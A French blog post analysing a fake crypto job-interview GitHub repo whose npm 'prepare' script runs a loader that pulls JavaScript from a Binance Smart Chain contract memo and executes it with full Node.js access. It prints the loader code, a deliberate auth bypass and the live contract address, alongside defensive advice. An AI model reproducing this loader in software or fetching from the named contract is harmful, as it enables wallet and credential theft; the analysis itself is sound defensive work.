Blog
Web3 & Blockchain·8 min read

Anatomie d'une Arnaque d'Emploi Crypto : Comment un Seul npm Install Peut Vider Votre Wallet

On m'a envoyé un repo GitHub comme exercice technique. Il s'avère qu'il récupère un malware depuis la blockchain et l'exécute quand on lance npm install.

Jo Vinkenroye·February 25, 2026
Anatomie d'une Arnaque d'Emploi Crypto : Comment un Seul npm Install Peut Vider Votre Wallet

Un recruteur m'a contacté pour un poste de développeur Web3 chez Limit Break. Bon salaire, projet intéressant, le package complet

Ils m'ont envoyé un repo GitHub à examiner comme exercice technique. Une plateforme de poker construite avec React, Express, Socket.io et ethers.js

J'ai failli le lancer

Au lieu de ça, j'ai décidé d'auditer le code d'abord. Ce que j'ai trouvé était un système sophistiqué de distribution de malware qui cache sa charge utile sur la Binance Smart Chain et l'exécute dès que vous tapez npm install

Voici l'analyse complète de son fonctionnement

La Mise en Place

Le repo se trouve sur github.com/LimitBreakOrgs/bet_ver_1. À première vue, il a l'air complètement légitime. Structure de dossiers propre, README correct, vraies dépendances, des centaines de lignes de logique de jeu

bet_ver_1/
├── server/ # Express backend
│ ├── controllers/ # Auth, chips, users, collection
│ ├── middleware/ # JWT, rate limiting, sanitization
│ ├── pokergame/ # Table, Player, Deck classes
│ └── socket/ # Socket.io game events
├── src/ # React frontend
│ ├── components/ # Poker table UI, cards, betting
│ ├── context/ # State management
│ └── utils/ # MetaMask wallet integration
└── package.json

Il y a même un middleware de sécurité — mongo sanitization, protection XSS, rate limiting, auth JWT. Quelqu'un a fait un vrai effort pour que ça ressemble à une codebase de production

Les Premiers Signaux d'Alerte

Quand j'ai commencé à creuser, j'ai remarqué des choses qui ne collaient pas

L'organisation GitHub est fausse. Le vrai Limit Break est sur github.com/limitbreakinc avec 18 repos, des smart contracts Solidity et des années d'historique. "LimitBreakOrgs" a exactement un repo, zéro membre public, créé il y a deux semaines

Des événements d'échecs dans un jeu de poker. Le fichier de paquets socket définit des événements comme CS_SelectPiece, CS_PerformMove, CS_PawnTransform. Ce sont des événements d'échecs. Dans une application de poker. Le code a clairement été copié-collé de plusieurs projets sans rapport

L'authentification est cassée volontairement. Dans le contrôleur d'auth, la vérification du mot de passe est codée en dur :

// server/controllers/auth.js
const isMatch = true; // should be: await bcrypt.compare(password, user.password)

N'importe quel mot de passe fonctionne pour n'importe quel compte. Ce n'est pas un bug — on n'écrit pas const isMatch = true par accident en sautant l'import de bcrypt

Le fichier .env est commité. Le .gitignore exclut .env.local mais pas .env lui-même. Le fichier est là dans le repo avec des clés API et des secrets. Ils veulent que vous pensiez "oh cool c'est prêt à tourner, j'ai juste besoin d'installer"

Le Piège : package.json

C'est ici que ça devient intéressant. Regardez la section scripts :

{
"scripts": {
"start": "node server/server.js | react-scripts start",
"prepare": "node server/server.js"
}
}

Le script de lifecycle prepare s'exécute automatiquement pendant npm install. Pas npm start. Pas npm run build. Juste npm install

Au moment où vous installez les dépendances, server/server.js s'exécute

La Charge Utile : Malware Hébergé sur la Blockchain

server.js a l'air normal. App Express, middleware, routes, Socket.io. Mais à la fin du démarrage, il appelle une fonction :

// server/server.js
const { configureCollection } = require("./controllers/collection");
// ... configuration express normale ...
startServer(); // dans le callback listen :
configureCollection(); // <-- c'est le déclencheur

Et voici configureCollection :

// server/controllers/collection.js
const { ethers } = require("ethers");
const NFT_CONTRACT_ADDRESS = process.env.NFT_CONTRACT_ADDRESS;
const CONTRACT_ABI = [
"function getMemo(uint256) view returns (string)"
];
const TX_ID = 1;
const provider = new ethers.providers.JsonRpcProvider(process.env.RPC_URL);
async function configureCollection() {
const contract = new ethers.Contract(
NFT_CONTRACT_ADDRESS, CONTRACT_ABI, provider
);
const memo = await contract.getMemo(TX_ID);
ContentAsWeb(memo);
}

Il se connecte à un smart contract sur Binance Smart Chain à l'adresse 0xE251b37Bac8D85984d96da55dc977A609716EBDc. Il lit un champ memo depuis la transaction ID 1. Ce memo contient une chaîne de caractères

Une chaîne de code JavaScript

Puis il l'exécute :

function ContentAsWeb(payload) {
if (!payload || typeof payload !== "string") return;
try {
new Function(payload); // vérifie que c'est du JS parseable
} catch (err) { return; }
try {
const ensureWeb = new Function("require", payload);
ensureWeb(require); // exécute avec un accès complet à Node.js
} catch (err) {
console.error("ensureWeb error", err.message);
}
}

new Function("require", payload) crée une fonction à partir de la chaîne récupérée depuis la blockchain. Puis ensureWeb(require) l'exécute — en passant le require de Node.js pour que la charge utile puisse importer n'importe quel module

Pourquoi C'est Brillant (et Terrifiant)

Ce design est malin pour plusieurs raisons :

Le malware n'est pas dans le repo. Les scanners de sécurité de GitHub, npm audit et tout outil d'analyse statique ne trouveront rien. La charge utile réelle vit on-chain

C'est modifiable. L'attaquant peut mettre à jour le champ memo du smart contract à tout moment. Aujourd'hui il vole peut-être des wallets. Demain il installe peut-être un keylogger. Le repo ne change jamais

Il utilise new Function() au lieu de eval(). La plupart des linters et outils de sécurité signalent eval(). Moins signalent new Function() alors que c'est tout aussi dangereux

Les noms de fonctions sont camouflés. configureCollection, ContentAsWeb, ensureWeb — tout ça ressemble à des fonctions utilitaires légitimes. Il faudrait lire chaque ligne attentivement pour remarquer ce qu'elles font réellement

Il passe require explicitement. new Function() n'a pas accès au scope du module par défaut. En passant require comme paramètre, ils donnent à la charge utile un accès complet à Node.js — système de fichiers, réseau, processus enfants, tout

Ce que la Charge Utile Peut Faire

Avec require disponible, le JavaScript on-chain peut :

  • require('fs') — Lire vos clés SSH, fichiers de wallet, fichiers .env, profils de navigateur
  • require('child_process') — Exécuter n'importe quelle commande shell sur votre machine
  • require('https') — Tout envoyer au serveur de l'attaquant
  • require('os') — Faire le fingerprint de votre machine, trouver votre répertoire home
  • require('path') — Naviguer vers les emplacements connus des wallets

La liste de cibles typique pour ces attaques : les vaults MetaMask, les données Phantom wallet, les clés privées SSH, les identifiants AWS, les cookies de navigateur, les bases de données des gestionnaires de mots de passe

La Vue d'Ensemble

Ce n'est pas un cas isolé. C'est la campagne Contagious Interview, largement attribuée au Lazarus Group de Corée du Nord. Ils font tourner des variantes de ceci depuis 2024 et ont volé des millions

Le scénario est toujours le même :

  1. Créer un faux profil d'entreprise ou usurper l'identité d'une vraie
  2. Approcher des développeurs sur LinkedIn/Telegram avec une offre d'emploi
  3. Mener un processus d'entretien convaincant
  4. Envoyer un repo GitHub comme "exercice technique"
  5. Le repo exécute un malware à l'installation ou au démarrage
  6. Vider les wallets, voler les identifiants, installer des backdoors persistantes

Ils ciblent spécifiquement les développeurs crypto parce que les développeurs crypto ont tendance à avoir des wallets crypto sur leurs machines de développement

Comment Se Protéger

Avant de lancer un exercice technique d'entretien :

  1. Vérifiez l'entreprise. Vérifiez la vraie organisation GitHub, pas juste le nom. Recoupez avec LinkedIn, le site web de l'entreprise et Crunchbase
  2. Lisez package.json en premier. Regardez les scripts prepare, preinstall, postinstall et install. Si l'un d'entre eux lance du code serveur, c'est un signal d'alerte
  3. Cherchez new Function, eval, child_process et exec. Ce sont des patterns courants d'exécution de charge utile
  4. Vérifiez les appels blockchain dans les projets non-blockchain. Une app de poker n'a pas besoin d'ethers.js qui se connecte à BSC au démarrage
  5. Utilisez un sandbox. Conteneur Docker, VM, ou au minimum un compte utilisateur séparé sans accès à vos wallets ou identifiants
  6. Vérifiez le .gitignore. Si .env est commité avec des clés qui ont l'air vraies, ils veulent que vous le lanciez tel quel sans réfléchir

Hygiène générale :

  • Ne gardez jamais de hot wallets sur votre machine de développement
  • Utilisez des hardware wallets pour tout montant significatif
  • Gardez vos clés SSH protégées par une phrase de passe
  • Ne stockez pas de clés API dans les variables d'environnement de votre machine principale

Le Contrat

Pour les chercheurs en sécurité qui lisent ceci, le contrat malveillant se trouve à :

  • Adresse : 0xE251b37Bac8D85984d96da55dc977A609716EBDc
  • Réseau : Binance Smart Chain (RPC : bsc-dataseed1.binance.org)
  • Méthode : getMemo(uint256) avec TX_ID 1
  • Repo : github.com/LimitBreakOrgs/bet_ver_1

Si vous analysez ceci, faites-le dans un environnement isolé

Dernière Réflexion

J'ai eu de la chance parce que je suis paranoïaque quand il s'agit d'exécuter le code des autres. Tout le monde ne l'est pas. Si vous êtes un développeur qui reçoit des offres d'emploi dans la crypto, la revue de code commence avec l'exercice technique lui-même — pas avec le code à l'intérieur

Restez prudents

Stay Updated

Get notified about new posts on automation, productivity tips, indie hacking, and web3.

No spam, ever. Unsubscribe anytime.

Comments

Related Posts